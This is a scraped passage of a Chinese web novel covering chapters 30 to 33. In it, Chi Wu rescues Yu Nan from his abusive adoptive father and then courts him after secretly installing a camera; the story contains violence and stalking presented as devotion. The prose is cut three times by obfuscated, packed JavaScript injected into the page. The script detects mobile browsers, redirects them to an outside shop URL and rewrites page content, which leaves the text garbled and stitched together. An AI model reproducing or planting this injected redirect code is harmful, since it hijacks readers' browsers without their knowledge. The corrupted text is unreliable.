稚嫩懵懂的孩童远做不到这种程度,但在阴沟里被逼到只能啃尸体的老鼠可以。 张民杨无法不将一切往阴暗面推,因为他更知道触及于南底线的后果是什么。 于南就是最好的演员。 还是最会博同情的那类。 张民杨颤颤巍巍地问:“什么戏?” 于南拿了把刀过来,平静地看着他。 张民杨被扼住了喉咙。 …….. 迟雾在门外听了好半晌。 怎么没动静了? 连狗叫声都没了。 迟雾直起身子,后退了步,回首将整条廊道都打量了遍,昏暗的环境衬托着寂静的氛围,将他心里的紧张焦虑拉到最高点。 于南不能是被敲晕了吧? 那个男人是不是还带了同伙藏在于南家里? 迟雾一偏头在墙上密密麻麻的小广告贴纸里一眼捕捉到“老师傅专业开锁”的字眼。 他凑近看,这小广告应该是贴了有些年头了,号码数字已经褪色,努力拼凑还能猜出大半,但有几个数字所在的位置干脆被氧化成了一片空白。 迟雾摸摸兜,里面只有个特意揣进去的打火机,是打算等下次于南抽烟的时候,他凑上去点火用的。 他又定睛看了眼门上破烂的锁把。 他现在悄咪咪的把锁给烧坏了,然后悄咪咪地把门打开看一眼应该没事儿吧。 “救救我!!” 打火机刚掏出来,门内就传来道格外凄厉的叫声。 “你别碰我!” 于南的声音。 迟雾彻底慌了神,此刻也顾不上什么别的了,直接一脚踹到门上。 门锁本就破,被他一踹,直接弯了弧度。 迟雾猛踹几脚,伴随着震天的响声,门锁硬生生被他踹得颤颤着砸到地上。原本属于门锁的位置出现了个黑黝黝的大洞,门也随之颤着晃动。 迟雾用力拉开门。 就看见于南跌坐在墙角,身下压着盘缩粗糙甚至还有一部分挂在他手腕上麻绳,他慌不择路地抄起地上的台灯砸到持刀逼近的张民杨头上。 张民杨背对着门,半边身子依靠在墙壁上,佝偻着背,一侧臂下还撑压着拐杖,另一只手颤抖着举着那把冒着寒光的刀。迟雾看不见他的表情,但看他那皱皱巴巴的衣服就知道刚才他逼迫于南的时候发生了多激烈的争执,说不定已经动了手,伤就在于南身上被衣服遮住的地方! 台灯砸到头上,张民杨的身体晃动了下,撑着的拐杖失了重心,他也随之狠砸在地上,刀子也霎时脱手,在空中划出道轨迹后擦着边插到于南腿边的地板缝上,而后一倒,刀尖在裤子上划出道大口子,里面的皮肤也瞬间淌出串血。 而台灯被砸碎后迸溅的碎片也扎进了于南的掌心里,他的颈侧也被飞过去的碎玻璃划了条口子。 迟雾觉得自己脑袋里蛰伏的炸弹彻底爆了。 他气血上涌,直接抄起门边摆放的矮椅猛砸到张民杨的身上,此刻他也顾不得什么收手留力,所有的力气都被怒气裹挟着爆发出来。 一下接着一下。 “你他妈的简直想死。” 张民杨还用拐杖去抵砸过来的椅子,但力气压过来的时候,拐杖直接从中间断开,成了不对称的两截砸在地上。 椅子砸到腹部,张民杨疼得额角直冒冷汗,迟雾的动作又快又狠,他根本没机会躲,只能蜷缩起身体用后背挡着,嘴上还无意识地骂些不堪入耳的话,此刻他也顾不上什么戏好还是坏了,他只知道再这么挨下去他就要没气了。 比起以后被于南掐死,他更想能多活一天是一天。 那木椅硬生生被迟雾给砸碎了,飞出去的椅腿还在他头上狠砸了下。 一串血从额角淌下来,蔓过眉眼,顺着脸颊滑到脖子上,衬得他那张脸罕见得阴气森森。 手上没了东西,迟雾直接伸手去掐住张民杨的脖子,掐得他额角青筋暴起。 “你他妈想整……..” 迟雾脱口而出“你他妈想整死于南”,但死字到了嘴边又被他硬生生咬着牙给截住。 不能说死。 不吉利。 于南不可能死。 他不可能让于南死。 迟雾都没发现,他脸上掺杂的不止有血,还有眼泪。 看见那一幕,他几乎腿都打颤。 就像是上辈子被警察通知于南死讯后他匆匆赶去打开那道隔着生与死的门一样,他一开门,里面的于南就那样躺在最角落处,血在身体下蔓延成一滩规整的痕迹,就仿佛于南只是个艺术家,创作的时候不小心睡在了滩撒出来的红颜料里。 那是他第一次直面死亡,爱人的死亡。 现在他甚至都不记得那时候他是怎么走到于南身边的,他只记得警察把于南给抬出去了,他步步紧逼,但那个闭上眼睛的人始终没醒。 因为他不是什么艺术家,他是于南,他死了。 真的死了。 迟雾几乎陷到回忆里走不出来,如果世界上真有让人只消稍微想起来就觉得要被溺死了的噩梦,那么这就是。 张民杨的指甲扣到他手背的肉里,向上翻着白眼。 迟雾眼底赤红一片。 于南不能再死掉了。 他还要活到一百岁。 “迟雾。”于南一声彻底将他惊醒。 迟雾霎时松开了手,扭过那张血泪混杂模糊的脸,看向于南。 于南脖子上的血浸湿了衣裳。 迟雾也顾不得张民杨了,连忙起身抱住角落里的于南,双臂用力到仿佛只要他一松手,眼前的男人就像张皱巴巴的纸一样被风吹走了。 他一手紧抱着于南的腰,一手摸上于南的后颈,声音颤着:“别怕,于南别怕,我陪你,我陪你。” 眼泪砸到于南的颈窝里,是烫的。 迟雾就像彻底陷入了梦魇,不断低声哽咽着说:“于南你别怕,怎么样我都陪你。” 于南被那眼泪烫得身体一颤。 这不是他预想的结果。 迟雾的种种行为就像是场将他套牢在里面的梦,他甚至要以为迟雾记起来和他有关的一切。 于南张了张嘴,却发不出任何声音,他迟钝地伸出手抱牢迟雾,感受着怀里被彻底填满,就仿佛他和迟雾这两块不完整的拼图终于拼凑出来之不易的完整。 于南说:“……..迟雾,你……..” 迟雾咽下嗓子里酸堵着的苦水,才惊醒过来,他忙松开于南,后退了步,而后从兜里掏出手机来,动作磕磕绊绊地拨通了120,他怕于南说他是跟踪的变态,尽量将脸别过去,不想看见他脸上即将出现的错愕与嫌恶。 电话拨通后,迟雾报了个地址,方才撂下手机,去查看于南身上的伤口。 腿上有伤,手掌心有伤,锁骨上有伤,脖子上有伤。 于南右掌上的伤口刚刚结痂,如今左手又伤着了。 迟雾控制不住眼泪。他抬手抹了一把,抹了一袖子血。 迟雾当鬼的时候早就把于南家里从内到外都摸熟了,他驾轻就熟地找出碘伏,简单清理了下于南的伤口,但于南不疼,他却觉得疼,始终不敢下手,碘伏只在皮肤上轻轻擦过。 一切弄完,他才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是。”迟雾供认不讳,他朝着张民杨的病房方向扬了扬下巴,说:“他尾随跟踪、私闯民宅、还持刀盗窃、杀人未遂,够判多少?” 简凌没想到是这么个事儿,还闹到了要判的层面,这还真是头一次,而且她还是第一次知道迟雾这人儿还能干出这种制服歹徒的善事儿,但她也只是略微思索片刻,便说:“你觉得呢?” 她不是问迟雾觉得能有多久。 而是问他想要多久。 迟雾说:“我要他资料。” 用简凌的手来查,能查到的绝对是最详细的。 但这也意味着,迟延宁会一并知晓。 迟雾别无他法。 他突然发现,原来他这么一事无成。 他什么都没有。 简凌却无从理会他那些小心思,而是平静地提醒道:“你该换身衣裳,洗个澡。” 这时迟雾才想来他身上都是垃圾的腐臭味,属实狼狈。那刚才他抱着于南的时候…….. 迟雾觉得他就是个傻逼。 躲什么呢。 直接就被于南抓住他跟踪的事儿,然后和那个老男人一起被于南拖进家里不好吗。 他要是那样选择,也不会出现后来的突袭。 简凌走后。 迟雾快速洗了个澡换了身衣服。 回到了于南身边。 于南身上的伤已经上好了药,还换了身新衣裳,便利店那边迟雾也找人去打了声招呼,给了本应换班的员工十倍工资,暂且顶上了于南的班。 迟雾如今却有点儿不敢面对于南。 他坐到椅子上,捂着输液管,等着被宣判罪行。 但于南没问他为什么跟踪自己,而是扭头看窗外,说:“迟雾,下雪了。” 今年的第一场雪,就这么落下来了。 迟雾问他:“冷吗。” 于南摇头,看着他,那视线悠长,带着迟雾看不懂的情绪。 于南说:“迟雾,怕吗。” 怕什么? 迟雾不懂,以为他说张民杨的那把刀,就说:“不怕,你也别怕,我保护你。” “保护”这个字眼就像是世界上最沉重的一颗石头,压在人肩头上能压碎骨头,掺杂着十分深重的责任和义务,迟雾说完之后又有些羞臊。 他要是真能保护于南。 于南现在不应该是在医院。 于南却笑笑,说:“这话你说过。” 是吗。 什么时候。 迟雾记不起来。 31. 第 31 章 简凌的做事效率很快,半小时后资料就发了过来。但迟雾正守着于南,没注意到信息。 迟雾坐立不安,到底还是主动认了罪。 “于南,其实那监控是我安的。” 于南问他:“为什么?” 迟雾一股脑地往外吐:“我上次真的看见有人跟着你,我怕他再跟踪你,甚至跟到你家门口……..所以我才安了监控,你放心,我绝对不是变态,绝对绝对不是因为想偷窥你。” 其实他想。 但他怎么可能承认。 迟雾接着说:“那个跟踪你的人还是我的同学,他叫温程安,他可能是通过某些手段别人那儿知道了我和你的关系,所以才……..” 于南打断他:“我和你是什么关系。” 迟雾彻底没了声。 良久。 迟雾才讷讷地说:“……..就我喜欢你的关系。” 话落,他还忙不迭地添了句:“你放心,我会解决好的,你也别担心之后再出什么事,我会守着的,不让别人近你的身,你别讨厌我。” 出乎意料的是,于南没露出什么嫌恶的表情,反而淡声问:“你要守在哪儿。” 迟雾想守在于南身边,最好俩人睡觉都在一张床上,半夜他还能趁着于南睡着了偷摸贴上去,但这种话说出来估摸着于南就要以为他是鬼上身了。 他真不是变态。 迟雾思忖两秒,说:“就、就守在可能有坏人出没的地方。” 于南垂下眼睫,“就像现在这样吗。” “是。”迟雾毫不犹豫地说,“但会比现在做的更好。” 于南又说:“那如果晚上有人潜入我家里呢?我下班回去之后一时不察,可能就……..” 迟雾的手都抖了抖,他舌头打着卷,兴奋难以压抑,“你也觉得晚上很危险?于南,我早就这么觉得了,你和我一起住吧,我俩住在一起,我肯定好好看着家。” 看着家。 说的像是看门狗。 但迟雾没觉得有丝毫不对,他空出只手去抓于南。他贴着于南大腿的手指都在抖。 迟雾直勾勾地盯着于南,“等张民杨和温程安的事儿都尘埃落定,你再搬回去住,好不好?” 于南垂眼看了下搭在自己腿上的手,那只手还在不自觉地往上攀,以缓慢的速度往腿根上摸,隔着牛仔裤粗糙的布料,指腹擦过的瘙痒感如同一缕火苗噌噌地往上钻,让人难以忽视。 于南伸手去截断那只手的前进,“你在上学,还在和家里人住,我住进去,不方便吧,我不想给你添麻烦。” 迟雾的指尖顶在于南的手掌心,他无意识地蜷缩了下手指,抬眸看着于南略显冷淡的脸,他的喉结稍微滑动了下。 于南明明已经知道他安监控的事,却还在考虑他这个“变态”会不会有麻烦…….. 迟雾说:“我在这附近有套房子,是之前在这附近补课的时候买的,里面有很多资料,刚好住进去可以方便教你数学,而且只有我们俩,没别的人,你放心,但是就是……..” 于南问:“但是什么?” 迟雾略显心虚地用手指挠了挠于南的掌心。 “……但是只有一个卧室。” “……..” 于南平静地看着他,没说话。 迟雾开始后悔,刚要改口说“其实还有个双卧室的”,就感觉到于南回弯手掌,勾住压在自己掌心上的手指。 于南也学着迟雾的动作,挠了下。 “没关系的。”于南说:“我睡觉很老实。” 迟雾反应过来那刹几乎要压不住咧开的嘴,他忙抿住嘴唇,含糊地说:“我睡觉也很老实。” 于南又挠了下,说:“是吗,那还真是巧。” 迟雾反手轻捏住他的手掌,盯着那纤细修长的手指,已经开始幻想以后该买个什么样的戒指套在上头。 素戒? 不行,看起来太简单了。 钻戒? 好像也不行,太闪了,于南看腻了怎么办。 于南这头简简单单一句应下的话,那边迟雾已经想到去马尔代夫度蜜月看海的时候要给于南买什么样的泳裤了。 迟雾扭扭捏捏地说:“那等这针打完,我们去挑一下床上用品吧。” “床上用品?”于南重复了下。 迟雾说:“枕套啊、被罩啊,好多东西要选呢。” 于南略显奇怪地问:“家里没有这些东西吗?” 而且现在这个时间,哪还有商场开门。 迟雾脸上笑容一僵。 完了,脱缰脱过头了。 家里何止没这些东西,连这个家都不存在。 一切不过是迟雾深时度势捏造出来的,只要于南一点头,他立马就去买一套符合条件的房子,而其中安置的所有事物存在的基本条件就是——于南想让他们存在。 迟雾颇为机灵地说:“有啊,但是我怕你不喜欢。” 于南弯弯眼,“不会,我不挑剔的。” 迟雾旋即应道:“那你最喜欢的颜色呢?” 他从善如流补充道:“刚好那个房子有段时间没住人了,上一次去还是带朋友去喝酒,床单被罩之类的东西都被弄脏了,刚好要换,你受了惊,看点儿顺心的颜色有助于睡眠。” 于南说:“浅棕色吧。” 迟雾瞳孔的颜色。 迟雾没察觉有什么不对劲,一手兀自牵着于南,一手掏出手机,屏幕稍侧着,遮挡住于南的视线,从通讯录里找出一人,发过去有关房子的要求,而后退出时,简凌发过来的信息再次弹出来。 迟雾下意识点开,待看清里面内容时,才条件反射般抬眸觑了下于南,却和他的视线正好撞到一块儿去。 就好像,于南一直在盯着他看。 “……..” “药快没了。”于南说。 迟雾抬头看了眼挂着的药瓶,药液见底,他当即将手机反扣过去,放到床边,再抬手摁下呼叫铃。 拔完针,于南摁着贴着绷带的手背,迟雾伸手接过,替他摁着,就这么,维持着一种像是在扶持着于南的姿势。 于南问:“张民杨在隔壁病房吗?” 迟雾说:“你想见他吗?” 于南“嗯”了一声。 迟雾不想让于南见他,方才他顾忌着,没直接问于南当时到底是个什么情况,但也能大致拼凑 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迟雾抵着门,冷冰冰地朝着病房内看了眼。 张民杨却死盯着于南的背影,此刻注射了药物,他的头脑不大清醒,像是笼罩了层毒雾,不断吞噬着他所能感知的恐惧与忌惮,而其余驱使他肆无忌惮地表达一切的神经如毒蛇般蠕动,释放毒液,他张阖着嘴,不时破口大骂,而他身上连接着的机器也开始发出一阵剧烈的嗡响声,护士如鱼入海般奔来。 “于南!你也不会逃脱的!” “要死一起死!” “当时那药你要是吃下去,你现在就他妈是个脏东西!是个贱——” “……..” 迟雾将于南牵到一边,将他遮挡在身后,避免他被人撞到,还一并抬手捂上于南的耳朵。 直到耳边的咒骂声被一道道遏止声叫停,迟雾才放下捂着于南的手。 他牵着于南出了医院,启动汽车,一脚油门下去就往外冲,直到将车开到再也看不见属于医院建筑标志的街道,他才踩下油门,将车速减慢。 雪花飘砸在车窗上,而后被雨刮器抹去,只留下条像眼泪的痕迹。 黑夜中。 迟雾带着于南逃离。 从始至终他都是沉着脸,不作声响。 “迟雾。”于南陡然说:“他就是我的养父。” 于南的视线笔直地看着窗外落雪。 “他收养我的时候是秋天,把我领回去之后的第二天,天上就开始飘雪,特别冷。”于南用平稳的声线缓缓说道:“我没有厚衣裳穿,也没有被子盖,半夜还能听见老鼠声,你觉得我这种生活幸福吗?” 迟雾嚅嗫了下嘴唇。 当然是不幸福。 但是他能直截了当、坦坦荡荡地吐出这这三个字吗,那就像是于南主动撕开一道伤口,他就肆无忌惮地在上头撒盐,还不时吐出两句“这样会不会很疼啊”这类无关紧要的话,而且这时候的于南未必需要他的答案。 迟雾说:“……..我有纸。” 于南问:“你想看我哭吗。” 32. 第 32 章 他当然不想看于南哭。 迟雾把车开到郊区无人处,停在路灯旁,开着暖气,将车窗降下条缝隙,冷风掺杂着两片雪花往车里刮,但很快就被暖气的温度吞噬进去,雪落到腿上融化,鼻息间停留着点儿清冷的味道。 车窗前是路灯投下的暖光。 这样的环境也让人不自觉地放松下来。 迟雾调拨出来首轻音乐,才身子往后一靠,视线看着前窗上的小片冷雾。 这后只有音乐声在缓慢流淌,没人开口。 于南看了眼迟雾的侧脸,发现迟雾正垂着眼在看手机,屏幕微亮着,角度侧挡,刚好绕开于南的视野,他看不见手机上的内容。 迟雾正在查看张民杨的资料,他现在只想让这个傻逼烂人快点儿滚出于南的世界,最好这辈子就腐烂在监狱里,再也没有机会近于南的身。 他无法想象于南被张民杨那样的人领养后都在过什么样的日子,吃不饱穿不暖,还有张民杨那句话里的“药”,以及一个个不堪入耳的字眼,几乎都像一根绳子将他缠绕住,鞭挞着他。 迟雾经历过死亡,所以他觉得死不可怕,一辈子都孤独无望、只能痴等着死亡的降临才是最可怕的。比起罪名,人类更惧怕宣判前对供词的陈述,那才是真正的凌迟。 但奇怪的是,张民杨的资料格外简单平庸,甚至可以称得上一眼就望到这辈子的结局。少年辍学成了小混混,之后顺着一条昏路走到黑,几乎不能沾的东西都沾了个遍,最为严重的还属赌博,他领养于南那年也是赌博最严重的时候,欠的债达到了个一辈子都偿还不清的天文数字,而在领养于南后,他试图出售些录像,至于录像内容,有偷拍,一小部分的主人公是陌生人,而绝大部分是于南;还有直白的录制,主人公只有于南,内容是欺辱暴力,但都没卖出去,原因未知,这条路无果,不久后于南搬出去了,搬到了苏贺年之前查到的租的房子里,而同年年底,张民杨又去孤儿院里收养了个孩子,还是个男孩,名字未知。 再之后,那个男孩也搬出去了,张民杨却突然被讨债的找上门,四处躲窜,再之后,莫名就出现了于南殴打张民杨致残一案。 于南入狱,此中三年,张民杨却过活得风生水起,没了讨债鬼的围堵,也没了金钱方面的忧虑,他得到了于南前几年所有的存款,但这绝对不足以让他生活如此滋润。 迟雾几乎一瞬就想到。 于南就像是一场赌局中先扔出去的初始赌注,他被牺牲后,筹码堆叠着加倍,一招成,钱入兜,自此吃喝不愁。 可,是谁置下的赌局,只为让于南被扔出去? 迟雾觉得越查越乱。 就好像,于南是被所有人紧盯着的囚在笼子里的鸟,一声令下,所有凶兽都争先恐后地扑上去将他撕碎。 张民杨这样的人居然能在外逍遥至今。 屡次能看见他将走向死局的时候,他总是会以另外一种更恶心龌龊的手段来扭转局面。 而最诡异的是,当初苏贺年顺手查张民杨这人时,查到的有关于南入狱这三年,张民杨的人生直接被划分出层无法窥探的空白,而在简凌查到的资料里,这三年也是一句话匆匆带过。 “迟雾。”于南叫了声。 迟雾将手机锁屏,看向他。 于南说:“有点儿冷。” 迟雾连忙把窗升起来,又故意把手伸过去,说:“我很热,要摸摸吗。” 于南没动。 迟雾干脆侧倾着身子,靠向副驾驶的方向,将于南的两只手掌都抓过来叠着压在掌心下,而后一举攥住。 迟雾抬眸看向于南,见他无甚反感的神情,才开口说:“……..这儿的景特别好看,虽然很偏,但是在这边儿能看见一连片的江雪,还有远处行车,我以前因为学习不好,经常被人说笨得离谱,还说我脑袋像小铁桶一样,不用努力就自带深坑,那时候就经常跑这边来玩,附近还有个滑雪场,那儿的老板人特别好,她养了挺多只小猫小狗的,以后带你去看。” “学习不好?”于南倏地重复道:“说你笨?” 迟雾无可无不可地应了声:“对啊,确实挺笨的,我都怀疑如果以后的社会大环境要是非要靠自己本事才能吃上饭,我肯定是个骷髅兵,到时候都不是植物大战僵尸了,就是大脑勇卫骷髅兵。” 话落,迟雾才反应过来,连忙道:“但你别担心,给你补习我肯定没问题的。” 如果说大话会遭雷劈。 那么迟雾就是雷公邻居。 迟雾拍着胸脯说:“我绝对是世界上最牛逼的数学老师,你就是我教出来的第一个大数学家。” 当然,前提是顾宁一先把他教成数学家。 不过迟雾留了一手,他把顾宁一的讲课过程都录下来了,大不了到时候就看一眼视频讲一句,总归是能顺顺利利把题讲完的,如果于南要有什么别的问题,他就—— 他就…….. 好像也没啥方法了。 迟雾咳嗽了声,“于南,到时候我讲课的时候,你要是有问题,先别提出来,我一陷入深度思考的状态吧,大脑就只往一条巷子里钻,暂且想不了别的,你要是有问题等下课之后统一告诉我,我再准备准备,给你来一节专门的习题课。” 他这边还没出师,就开始指导上学生了。 于南却没被他带偏,而是紧盯着他,又问了遍:“有人说你笨吗。” 少年人的心思都是层层交叠的复杂,太多事不能单一而论,当初不少人揪着迟雾当话题的时候,就揪着他在学习上脑袋不转轴这块儿,试图用一块短板盖压住所有其他人比不过的锋芒。 当初听见有人说他笨的时候,迟雾还觉得挺有意思的,第一次有人说他笨,之前都是他自己脑袋发散得时候偶尔冒出来三两感叹,但没人关注这点,他这种人,根本不需要用纸面上以一概全的数字来评判自己,有得是人抢着给他铺路,不过他都不愿意走就是了。 要按迟雾的想法,他就是个笨笨的、没什么理想的忧郁青年,这辈子随随便便地活过去就行了。 但于南却好像对“笨”这个字眼格外敏感,他说话时的尾音也在往下降。 迟雾怔了下,不知道怎么了,只能如实回:“有几个人说过。” 顿了顿,他又补充:“但是他们比我还笨。” 总不能让于南觉得他是世界上最笨的小孩儿吧。如果踩一捧一是门技术,那迟雾保准削尖脑袋往死学。 而且那几个人确实笨,不止笨,甚至可以称得上蠢,因为一袭恶劣的斗殴霸凌事件都被退了学,至于他们试图霸凌的对象,就是迟雾,可能是看着迟雾没什么脾气、懒懒散散的,再加上那一阵子迟雾整天被钢琴演奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199147|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会折磨,干什么都提不起神,一副半死不活的样,他们就觉得这人是个会乖乖受欺负的傻小孩儿。 迟雾一个二踢脚就碎了他们的称王梦。 于南很轻地“嗯”了一声,莫名认真地说:“迟雾,你不笨,你要是笨,世界上就没聪明的小孩儿了。” 他这话说的迟雾有点儿心虚。 于南这算是为了报答他,逼着自己说假话吗? 这算携恩相逼吗。 迟雾觉得这一出戏听得他挺开心的。 原来欺负于南这么爽。 迟雾说:“那你是第一聪明,我是第二聪明。” 于南笑出了声。 车内很暗,路灯洒进来的光都被迟雾遮挡住,他凑近去看于南脸上的表情,直到两人之间的距离近到能感受到对方的呼吸,都还是看不大清。 迟雾小心翼翼地伸手摸了摸于南的嘴角,想摸出来这个地儿的弧度是上扬还是下压的,却摸到了灼热一片。 于南的嘴唇好烫。 “你发烧了吗?”迟雾想起来自己小时候绑架后高烧不退的事儿,好像极度受惊的情况下就会开始发烧,而现在于南的体温好像就有点儿不正常,他绷紧脸上表情,谨慎地把手往下移了移,“于南,你先别动,我摸摸你身上体温对不对。” 他的手进了于南的衣领,压在锁骨上。 好像身上的温度又不太烫。 迟雾表情格外认真,手也没乱动,但越认真就越觉得自己测得不准。 迟雾干脆把身子扯回去,而后抬起一条腿压到座椅上,缓慢地弓着身子往于南的位置探,这次他要稍高些。 迟雾将额头抵到于南的额头上。 老方法准称一点儿。 于南抬眼和他对视。 迟雾仔细感觉了下,好像额头也不大烫。 只有嘴唇是烫的。 而于南升腾起的所有情绪也因为他这一连套的动作彻底扔到了脑后。他下意识地舔了下干涩的嘴唇。 迟雾撤回脑袋,一手抓着于南的下巴,一手贴到他额头上,低声嘀咕:“好像没发烧。” 他又抬高点儿声音,“于南,你觉得烫吗。” “哪儿?”于南问。 迟雾说:“身上啊。” 于南没觉得自己身上哪热,他就觉得迟雾贴着自己的手特别热。 要烧起来了。 迟雾又说:“你嘴唇特别烫。” “是吗?”于南问:“那你的呢。” 迟雾反应过来的时候,于南已经抽手去摸他的嘴唇,动作很慢,轻缓地像在一毫毫摩挲他的唇纹。迟雾控制住想舔嘴唇的冲动,觉得自己身上有股火烧起来了,从腰上往下一路火花带闪电地窜爬。 两人视线噼里啪啦地交叠。 于南的手指像是无意识地一弯,指尖就压进了唇缝里,只要迟雾稍微一伸舌头,就能舔着。 欲望成了寄生在体内的虫子,不停啃咬骨头,用酸麻痛胀逼迫着迟雾做出些极端的事,释放压抑已久的痴想。 理智被寄生虫吃得一干二净。 迟雾情不自禁地张开嘴唇,身子也往下压。 黑色影子寸寸下压,即将彻底笼罩于南。 舌头在指尖轻轻地舔了下。 “嗡嗡嗡——” 手机响了。 33. 第 33 章 迟雾大梦初醒般僵停住身子,与此同时,伴随着紧促刺耳的铃声,他的身体也被促使着感受残存的火热,舌头还能感觉到于南指尖上的凉意。但理智的回笼也将羞耻感一瞬拉满,把他关到进退两难的铁笼里去。 他该先收舌头还是先闭嘴? 该先从于南身上起来还是先接电话? 还没等他想出个所以然,于南便率先收回了手指,体贴地拿起一旁的电话递过去,说:“来电话了。” 手机屏幕照亮两人之间的距离。 迟雾故作冷静自持地点点头,抬起身子,重新坐回驾驶位上,才抖着手接听了电话。 他差点儿就能和于南激情舌.吻了。 要是再给力一点儿,说不定今晚让于南满意了,他真就上位了。 但就差那一点点点点。 迟雾捏着手机,问:“谁?” 他的手指还不耐烦地点了点手机背部。 “我。”冷淡一声,一切不耐都需压制着。 是迟延宁。 迟雾下意识地把手机切换到远离于南的那侧耳朵上,打开车门,而后靠着车,背对着车内通话。 “哥。”迟雾叫了声。 迟延宁说:“妈问你在哪。” “外面。”迟雾的视线随意地瞥着天上兀自往下落的白雪,冷风吹散身上的热潮,他彻底冷静下来,说:“我今天不回去,在朋友家住。” “朋友?”迟延宁缓慢地重复了一声,迟雾就知道他保准是猜到于南身上了。但他什么都没说,只是简单交代了句:“妈不让你出国是为你好,不要叛逆。” 迟雾就知道,他这是亲手给自己递借口。 迟延宁给迟雾做的事收拾过不少次残局,但每一次都是不变地一切从简,用最简单粗暴的手段画上句号,从来没对迟雾做过的事表述过任何观点,更别说亲手托举上来个名正言顺的借口。 虽然不知道这次他这么做的意图是什么,但迟雾还是应下:“知道了,我只是觉得心情不太好,在外面待一阵儿。” 刚才还是“今天”,现在就是“一阵儿”。 迟延宁给了借口,他就毫不犹豫地沿着杆子上爬,把时间顺势拖延。 迟延宁“嗯”了一声,那头似是传来迟母的小声询问,但还没待迟雾听清,他就以“别忘了吃药”作了断,挂了电话。 忙音“嘟嘟”得在耳边响,迟雾看了眼手机。 一连几条消息。 他找的那人办事很利索,当然也是因为迟雾给钱给的更干脆。所要求的房子已经置办好,还附带着发过来几张照片,其中着重要求的卧室布局更是被仔细拍摄了五六张照片。 迟雾简单看了眼,都是按要求来的,还特意只留了一床被子、一个枕头,里面还摆上了几个小夜灯,都是按照被砸碎的那个来买的。 收起手机。 迟雾上了车。 冷气也随着他一同进到车内。 于南正扭头看着窗外发呆,还不时摩挲着方才被迟雾舔了下的那根手指。 迟雾注意到他的动作,有些不自然地抿抿唇。 还想舔一下。 迟雾开口说:“不早了,回家吧?” “家”这个字眼他吐露得格外自然,仿佛是精心安置的婚房正等着俩人去掀开盖在上面的礼盒罩。 于南也没多注意,只点了下头。 那房子就在于南家附近,迟雾直接驱车前去,手机里偷偷投着地图导航,车速放到最慢,避免于南发现他对路也不太熟。 迟雾早就把九月三抛到了脑后,直到于南提醒:“九月三还在家里,方便把它一起接上吗?或者让我先回去给它喂个食。” 迟雾不想让于南再进那个满地狼藉的地下室里去,直接要了钥匙,让他在车里等着,自己进了地下室,但却在下到底层那刹,擦肩而过一道身影,几乎是条件反射,迟雾直接一错身伸手挡住那人去路。 逼仄窄小的道廊里,那人头顶着黑色棒球帽,缓慢地抬起头,漆黑的瞳孔里折射出道不明显的光,是迟雾用手机的手电筒朝他照了照。 男人笑了笑,问:“有事吗?” 迟雾见他面孔还算和善,稍微降下些防备心,放下拦路的胳膊,也将手电筒往下降了降,说:“没事儿,不好意思看错人了,我还以为是我朋友。” 男人冲他点了点头,错身顺着楼梯往上走。 迟雾扭头盯着他的背影,倏地又扬声问了句:“你是住在这儿吗?” 男人脚步停顿,垂眸顺着扶手缝隙朝他看去,说:“对,我住在最里面右手侧那间。” 于南家隔壁。 邻居? 迟雾也没见过于南的邻居,只得点点头,又笑着问:“这儿的环境怎么样,我朋友说住着感觉还不错,但是我担心供暖不太好,怕他冬天冻着。” 闻言,男人表示理解,说:“还可以,但地下室总归是有点儿冷,尤其是里面的那几间,格外冻人,要是能搬走的话,还是趁早搬走,毕竟咱们这儿的冬天可很长。” 他又贴心地说:“我认识几个中介,如果有租房需求,我可以帮你介绍一下。” 迟雾问:“你也准备搬出去?” 男人应下:“本来是这么准备的,但最近手头有点儿紧,先凑合一阵儿。” 迟雾彻底打消疑心,笑了下,“不用了,谢谢。” 男人走后,迟雾才顺着廊道往深处走,但走到于南家门口,他将钥匙往里一插就觉得不对劲儿。 走的匆忙,门锁是他找人暂时安上的,钥匙插进去应当是有些顿,不该这么顺利,就像是有人提前用什么东西把里面通开了,而且这门把手上…….. 迟雾蹲下身,手往门把手上一抹。 那层沾上的干涸的血好像浅了点儿。 迟雾倏地站起身,往外追,但等他出去的时候,那个男人早就不见了踪影,消失地彻底。 于南见他出来,降下车窗,“怎么了?” 迟雾收回找寻人影的视线,不想让于南害怕,暂且隐瞒,露出抹稍显僵硬的笑,说:“刚才下去发现自己有点儿喘,跑上来锻炼一下肺活量。” 于南略显疑惑地看着他,作势要开车门,“我下去接九月三吧。” 迟雾连忙抵住车门,经过这一遭,他更不放心于南下去,连忙说:“没事儿,我现在感觉好多了,我下去吧,很快就回来。” 这次,迟雾的动作很干脆利落,打开门后就看见九月三正蹲在门前。 看见他,九月三还小声呜咽了下。 迟雾找到狗绳,给它套上后就牵着他往外走,一路还不忘观察道廊里的异样,和记忆里做着比对。 好像一切都维持着走时候的样子。 上了车。 迟雾佯作无意地随口问道:“于南,我明天给你的邻居送点儿水果吧,今天我踹门应该也吵到他们了,挺不好的。” 于南摸着趴在怀里的九月三,“没事的,隔壁的房子都没住人。” 迟雾启车的动作一顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199148|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后快速恢复自然,这下他是一点儿都不敢耽误,一脚油门踩到底,恨不得把速度表盘打爆。 无论如何,他都不可能再让于南回去。 